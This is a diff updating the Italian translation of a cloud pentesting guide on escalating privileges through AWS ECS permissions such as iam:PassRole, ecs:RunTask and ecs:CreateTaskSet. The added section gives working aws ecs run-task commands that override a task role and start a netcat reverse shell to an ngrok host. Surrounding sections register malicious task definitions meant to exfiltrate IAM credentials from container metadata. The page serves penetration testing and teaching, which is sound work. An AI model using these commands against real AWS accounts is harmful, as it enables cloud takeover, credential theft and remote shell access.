Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md

@@ -4,7 +4,7 @@
 
 ## ECS
 
-Maggiore **info su ECS** in:
+Maggiori **informazioni su ECS** in:
 
 {{#ref}}
 ../aws-services/aws-ecs-enum.md
@@ -12,7 +12,7 @@ Maggiore **info su ECS** in:
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
 
-Un attaccante che sfrutta i permessi `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` in ECS può **generare una nuova definizione di task** con un **container malevolo** che ruba le credenziali dei metadati e **eseguirlo**.
+Un attaccante che abusa delle autorizzazioni `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le credenziali metadata e **eseguirla**.
 
 {{#tabs }}
 {{#tab name="Reverse Shell" }}
@@ -75,12 +75,58 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 
 {{#endtabs }}
 
-**Impatto Potenziale:** Privesc diretto a un diverso ruolo ECS.
+**Impatto Potenziale:** Privesc diretto a un ruolo ECS diverso.
+
+### `iam:PassRole`,`ecs:RunTask`
+Un attaccante che possiede i permessi `iam:PassRole` e `ecs:RunTask` può avviare un nuovo task ECS con valori modificati di **execution role**, **task role** e del **command** del container. Il comando CLI `ecs run-task` include il flag `--overrides` che permette di cambiare a runtime `executionRoleArn`, `taskRoleArn` e il `command` del container senza modificare la task definition.
+
+I ruoli IAM specificati in `taskRoleArn` e `executionRoleArn` devono permettere di essere assunti da `ecs-tasks.amazonaws.com` nella loro trust policy.
+
+Inoltre, l'attaccante necessita di conoscere:
+- ECS cluster name
+- VPC Subnet
+- Security group (Se non viene specificato alcun security group verrà utilizzato quello di default)
+- Task Definition Name and revision
+- Name of the Container
+```bash
+aws ecs run-task \
+--cluster <cluster-name> \
+--launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
+--task-definition <task-definition:revision> \
+--overrides '
+{
+"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": <container-name>,
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+Nello snippet di codice sopra un attaccante sovrascrive solo il valore `taskRoleArn`. Tuttavia, l'attaccante deve avere il permesso `iam:PassRole` sul `taskRoleArn` specificato nel comando e sul `executionRoleArn` specificato nella task definition affinché l'attacco possa avvenire.
+
+Se il ruolo IAM che l'attaccante può passare ha privilegi sufficienti per effettuare il pull dell'immagine ECR e avviare il task ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), allora l'attaccante può specificare lo stesso ruolo IAM sia per `executionRoleArn` sia per `taskRoleArn` nel comando `ecs run-task`.
+```sh
+aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
+{
+"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": "<container-name>",
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+**Impatto potenziale:** Privesc diretto a qualsiasi ECS task role.
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
 
-Proprio come nell'esempio precedente, un attaccante che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** in ECS può **generare una nuova definizione di task** con un **container malevolo** che ruba le credenziali dei metadati e **eseguirlo**.\
-Tuttavia, in questo caso, è necessario avere un'istanza di container per eseguire la definizione di task malevola.
+Proprio come nel precedente esempio un attacker che abusa delle autorizzazioni **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** su ECS può **generare una nuova task definition** con un **container malevolo** che ruba le credenziali dei metadata e **eseguirla**.\
+Tuttavia, in questo caso è necessaria un'istanza container per eseguire la task definition malevola.
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -96,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
-**Impatto Potenziale:** Privesc diretto a qualsiasi ruolo ECS.
+**Impatto potenziale:** Escalation di privilegi diretta su qualsiasi ruolo ECS.
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
 
-Proprio come nell'esempio precedente, un attaccante che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** in ECS può **generare una nuova definizione di task** con un **container malevolo** che ruba le credenziali dei metadati e **eseguirlo creando un nuovo servizio con almeno 1 task in esecuzione.**
+Proprio come nell'esempio precedente, un attaccante che abusa dei permessi **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** in ECS può **generare una nuova task definition** con un **container malevolo** che ruba le credenziali metadata e **eseguirlo creando un nuovo service con almeno 1 task in esecuzione.**
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -123,11 +169,12 @@ aws ecs update-service --cluster <CLUSTER NAME> \
 --service <SERVICE NAME> \
 --task-definition <NEW TASK DEFINITION NAME>
 ```
-**Impatto Potenziale:** Privesc diretto a qualsiasi ruolo ECS.
+**Potential Impact:** Privesc diretto a qualsiasi ruolo ECS.
 
 ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
 
-In realtà, solo con quei permessi è possibile utilizzare le sovrascritture per eseguire comandi arbitrari in un contenitore con un ruolo arbitrario con qualcosa come:
+
+In realtà, con solo quelle autorizzazioni è possibile usare overrides per eseguire comandi arbitrari in un container con un ruolo arbitrario con qualcosa del genere:
 ```bash
 aws ecs run-task \
 --task-definition "<task-name>" \
@@ -135,13 +182,13 @@ aws ecs run-task \
 --cluster <cluster-name> \
 --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
 ```
-**Impatto Potenziale:** Privesc diretto a qualsiasi ruolo ECS.
+**Impatto potenziale:** Privesc diretto a qualsiasi ruolo ECS.
 
 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
 Questo scenario è simile ai precedenti ma **senza** il permesso **`iam:PassRole`**.\
-Questo è comunque interessante perché se puoi eseguire un contenitore arbitrario, anche se senza un ruolo, potresti **eseguire un contenitore privilegiato per fuggire** al nodo e **rubare il ruolo IAM EC2** e i **ruoli degli altri contenitori ECS** in esecuzione nel nodo.\
-Potresti persino **forzare altre attività a essere eseguite all'interno dell'istanza EC2** che comprometti per rubare le loro credenziali (come discusso nella [**sezione Privesc to node**](aws-ecs-privesc.md#privesc-to-node)).
+Questo è comunque interessante perché se puoi eseguire un container arbitrario, anche se senza un ruolo, potresti **eseguire un container privilegiato per evadere** sul nodo e **rubare il ruolo IAM di EC2** e i **ruoli degli altri container ECS** in esecuzione sul nodo.\
+Potresti persino **forzare altri task a essere eseguiti all'interno dell'istanza EC2** che comprometti per rubare le loro credenziali (as discusso nella [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
 
 > [!WARNING]
 > Questo attacco è possibile solo se il **cluster ECS utilizza istanze EC2** e non Fargate.
@@ -187,10 +234,10 @@ aws ecs run-task --task-definition iam_exfiltration \
 ```
 ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
 
-Un attaccante con **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** può **eseguire comandi** all'interno di un container in esecuzione ed esfiltrare il ruolo IAM ad esso associato (è necessario avere i permessi di descrizione perché è necessario eseguire `aws ecs execute-command`).\
-Tuttavia, per fare ciò, l'istanza del container deve eseguire l'**agent ExecuteCommand** (che per impostazione predefinita non è attivo).
+Un attaccante con le **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** può **eseguire comandi** all'interno di un container in esecuzione ed esfiltrare il ruolo IAM a esso associato (è necessario il permesso describe perché serve per eseguire `aws ecs execute-command`).\
+Tuttavia, per farlo, l'istanza del container deve avere in esecuzione l'**ExecuteCommand agent** (che per impostazione predefinita non lo è).
 
-Pertanto, l'attaccante potrebbe provare a:
+Quindi, l'attaccante potrebbe provare a:
 
 - **Provare a eseguire un comando** in ogni container in esecuzione
 ```bash
@@ -210,18 +257,18 @@ aws ecs execute-command --interactive \
 --cluster "$CLUSTER_ARN" \
 --task "$TASK_ARN"
 ```
-- Se ha **`ecs:RunTask`**, esegui un'attività con `aws ecs run-task --enable-execute-command [...]`
-- Se ha **`ecs:StartTask`**, esegui un'attività con `aws ecs start-task --enable-execute-command [...]`
-- Se ha **`ecs:CreateService`**, crea un servizio con `aws ecs create-service --enable-execute-command [...]`
-- Se ha **`ecs:UpdateService`**, aggiorna un servizio con `aws ecs update-service --enable-execute-command [...]`
+- Se ha **`ecs:RunTask`**, eseguire un task con `aws ecs run-task --enable-execute-command [...]`
+- Se ha **`ecs:StartTask`**, eseguire un task con `aws ecs start-task --enable-execute-command [...]`
+- Se ha **`ecs:CreateService`**, creare un service con `aws ecs create-service --enable-execute-command [...]`
+- Se ha **`ecs:UpdateService`**, aggiornare un service con `aws ecs update-service --enable-execute-command [...]`
 
-Puoi trovare **esempi di queste opzioni** nelle **sezioni precedenti di privesc ECS**.
+Puoi trovare **esempi di queste opzioni** nelle **precedenti sezioni su ECS privesc**.
 
-**Impatto Potenziale:** Privesc a un ruolo diverso associato ai contenitori.
+**Impatto potenziale:** Privesc a un ruolo diverso associato ai container.
 
 ### `ssm:StartSession`
 
-Controlla nella **pagina di privesc ssm** come puoi abusare di questo permesso per **privesc a ECS**:
+Consulta la **pagina ssm privesc** per vedere come puoi abusare di questa autorizzazione per **privesc a ECS**:
 
 {{#ref}}
 aws-ssm-privesc.md
@@ -229,24 +276,26 @@ aws-ssm-privesc.md
 
 ### `iam:PassRole`, `ec2:RunInstances`
 
-Controlla nella **pagina di privesc ec2** come puoi abusare di questi permessi per **privesc a ECS**:
+Consulta la **pagina ec2 privesc** per vedere come puoi abusare di queste autorizzazioni per **privesc a ECS**:
 
 {{#ref}}
 aws-ec2-privesc.md
 {{#endref}}
 
-### `?ecs:RegisterContainerInstance`
+### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
 
-TODO: È possibile registrare un'istanza da un diverso account AWS in modo che le attività vengano eseguite su macchine controllate dall'attaccante??
+Un attaccante con queste autorizzazioni potrebbe potenzialmente registrare un'istanza EC2 in un cluster ECS ed eseguire task su di essa. Ciò potrebbe permettere all'attaccante di eseguire codice arbitrario nel contesto dei task ECS.
+
+- TODO: È possibile registrare un'istanza da un account AWS diverso in modo che i task vengano eseguiti su macchine controllate dall'attaccante??
 
 ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
 
 > [!NOTE]
-> TODO: Testa questo
+> TODO: Testare questo
 
-Un attaccante con i permessi `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` e `ecs:DescribeTaskSets` può **creare un set di attività malevole per un servizio ECS esistente e aggiornare il set di attività primario**. Questo consente all'attaccante di **eseguire codice arbitrario all'interno del servizio**.
+Un attaccante con le autorizzazioni `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` e `ecs:DescribeTaskSets` può **creare un task set malevolo per un servizio ECS esistente e aggiornare il task set primario**. Questo permette all'attaccante di **eseguire codice arbitrario all'interno del servizio**.
 ```bash
-bashCopy code# Register a task definition with a reverse shell
+# Register a task definition with a reverse shell
 echo '{
 "family": "malicious-task",
 "containerDefinitions": [
@@ -270,7 +319,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
 # Update the primary task set for the service
 aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
 ```
-**Impatto Potenziale**: Eseguire codice arbitrario nel servizio interessato, potenzialmente influenzando la sua funzionalità o esfiltrando dati sensibili.
+**Impatto potenziale**: Eseguire codice arbitrario nel servizio interessato, impattando potenzialmente la sua funzionalità o esfiltrando dati sensibili.
 
 ## Riferimenti